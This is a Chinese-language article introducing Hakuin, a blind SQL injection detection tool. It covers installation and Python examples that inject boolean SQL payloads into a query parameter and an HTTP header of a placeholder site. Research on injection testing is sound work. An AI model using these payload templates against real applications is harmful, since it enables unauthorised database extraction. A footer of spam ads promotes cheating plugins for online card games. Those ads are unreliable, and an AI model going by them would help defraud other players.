Hakuin:一款自动化SQL盲注(BSQLI)安全检测工具
创始人
2024-12-11 06:35:15
0

关于Hakuin

Hakuin是一款功能强大的SQL盲注漏洞安全检测工具,该工具专门针对BSQLi设计,可以帮助广大研究人员优化BSQLi测试用例,并以自动化的形式完成针对目标Web应用程序的漏洞扫描与检测任务。

该工具允许用户以轻松高效的形式对目标Web应用程序执行BSQLi安全检测,并采用了多种优化方法,包括预训练和自适应语言模型、机会性猜测和并行性机制等。

工具安装

由于该工具基于Python 3开发,因此我们首先需要在本地设备上安装并配置好最新版本的Python 3环境。

源码安装

广大研究人员可以直接使用下列命令将该项目源码克隆至本地:

git clone https://github.com/pruzko/hakuin.git

然后切换到项目目录中,并执行安装命令:

cd hakuin  pip3 install -e .

pip安装

除此之外,我们还可以直接使用pip3命令安装Hakuin:

pip3 install hakuin

工具使用

Hakuin附带一个简单的封装工具,hk.py允许我们直接从命令行使用Hakuin的基本功能。要了解更多信息,请运行:

python3 hk.py -h

使用样例

基于状态推断的查询参数注入检测

import aiohttp  from hakuin import Requester     class StatusRequester(Requester):      async def request(self, ctx, query):          r = await aiohttp.get(f'http://vuln.com/?n=XXX" OR ({query}) --')          return r.status == 200

基于内容推断的Header注入检测

class ContentRequester(Requester):      async def request(self, ctx, query):          headers = {'vulnerable-header': f'xxx" OR ({query}) --'}          r = await aiohttp.get(f'http://vuln.com/', headers=headers)          return 'found' in await r.text()

尝试提取SQLite/MySQL/PSQL/MSSQL数据

import asyncio  from hakuin import Extractor, Requester  from hakuin.dbms import SQLite, MySQL, PSQL, MSSQL     class StatusRequester(Requester):      ...     async def main():      # requester:    Use this Requester      # dbms:         Use this DBMS      # n_tasks:      Spawns N tasks that extract column rows in parallel      ext = Extractor(requester=StatusRequester(), dbms=SQLite(), n_tasks=1)      ...     if __name__ == '__main__':      asyncio.get_event_loop().run_until_complete(main())

许可证协议

本项目的开发与发布遵循MIT开源许可协议。

项目地址

Hakuin:【GitHub传送门】

参考资料

https://blackhatmea.com/session/hakuin-injecting-brain-blind-sql-injection

Hakuin: Injecting Brains Into Blind SQL Injection - HITBSecConf2023 - Phuket

https://wootconference.org/papers/woot23-paper17.pdf

相关内容

热门资讯

第一分钟教材!随意玩有辅助吗(... 第一分钟教材!随意玩有辅助吗(透视)新九游辅助(真的有挂)1、下载安装好随意玩有辅助吗,进入游戏主界...
透视辅助!pokemmo手机辅... 透视辅助!pokemmo手机辅助软件,hhpoker为什么一直输(原本有开挂辅助脚本);无需打开直接...
十分钟了解!游戏大厅辅助器,新... 十分钟了解!游戏大厅辅助器,新荣耀大厅控制器,科技教程(有挂技术);无需打开直接搜索加(薇:1367...
十瞬间指导“518互游私人定制... 十瞬间指导“518互游私人定制”起初有开挂辅助器(有挂透视);无需打开直接搜索打开薇:1367043...
透视系统!wepoker正确养... 透视系统!wepoker正确养号方法,德普之星透视辅助(起初有开挂辅助插件);无需打开直接搜索加(薇...
第4分钟步骤!新超凡大厅怎么开... 第4分钟步骤!新超凡大厅怎么开挂(透视)微信小程序微乐辅助器(有挂细节)1、下载安装好微信小程序微乐...
第8分钟了解!wepoker有... 您好:广东雀神祈福真的有用吗这款游戏可以开挂的,确实是有挂的,很多玩家在这款游戏中打牌都会发现很多用...
六秒钟知晓“微乐三带辅助”原先... 您好:微乐三带辅助这款游戏可以开挂的,确实是有挂的,很多玩家在这款游戏中打牌都会发现很多用户的牌特别...
透明工具!pokemmo免费脚... 透明工具!pokemmo免费脚本,wepoker辅助软件视频(原先有开挂辅助软件);无需打开直接搜索...
8分钟方针!微信小程序雀神挂件... 8分钟方针!微信小程序雀神挂件下载(透视)新道游科技透视免费版(有挂详细);无需打开直接搜索薇:13...